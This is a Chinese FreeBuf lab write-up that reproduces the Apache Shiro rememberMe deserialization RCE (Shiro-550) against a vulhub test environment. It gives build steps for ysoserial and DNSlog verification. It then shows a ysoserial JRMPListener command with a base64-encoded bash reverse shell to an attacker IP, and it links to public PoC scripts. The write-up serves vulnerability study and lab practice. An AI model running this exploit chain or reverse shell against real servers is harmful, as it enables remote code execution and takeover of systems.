freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shiro rememberMe反序列化漏洞(Shiro-550)复现
2020-12-03 09:32:45

本文由 东塔网络安全学院学员---邵同学 投稿。

1 漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。

2 影响版本

Apache Shiro < 1.2.4

3 特征判断

返回包中包含rememberMe=deleteMe字段。

4 漏洞复现

环境搭建:

安装Apache Shiro

使用vulhub,在docker环境下直接搭建,具体过程不再赘述。

安装maven,用来编译ysoserial.jar

sudo wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

tar -zxvf apache-maven-3.6.3-bin.tar.gz


在/etc/profile末尾添加maven环境变量:

export M2_HOME=/usr/local/maven3

export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin

source /etc/profile


Java环境:

使用JDK1.8版本,其他版本可能出现无法编译工具的问题。


下载编译

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial(进入对应的安装目录)

mvn package -D skipTests(使用命令进行编译)


漏洞验证:

使用shiro_key.py脚本获取密钥:

python shiro_key.py -u url



得到密钥,替换payload生成脚本中的key



使用dnslog验证漏洞是否存在。

在登陆页面进行登录,勾选记住密码,抓包,替换cookie为脚本生成的payload,发送数据包:

python shiro_1.2.4.py "command"

DNSLog收到结果,证明漏洞存在。


反弹shell:

执行以下命令在本地监听6666端口,此端口用来和服务器端执行的exp开启的端口建立通信:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI0MS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'


在bash.....,-1}中的代码为实际反弹shell命令,在建立端口号为6666连接后,通过该连接发送给服务器,反弹shell,语句为:

bash -i >& dev/tcp/192.168.10.241(攻击机IP)/7777(shell监听端口) 0>&1

这里提供一个命令转化网址:https://x.hacking8.com/?post=293

在本地打开监听7777端口的进程,使用payload生成脚本生成连接本地ysoserial监听程序的exp,替换发送。

生成payload命令:python shiro1.2.4_py 监听机ip:端口号

反弹shell成功


Poc脚本:

Key:

https://github.com/insightglacier/Shiro_exploit


命令执行:

https://github.com/jas502n/SHIRO-550/blob/master/shiro_rce.py

# Shiro # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者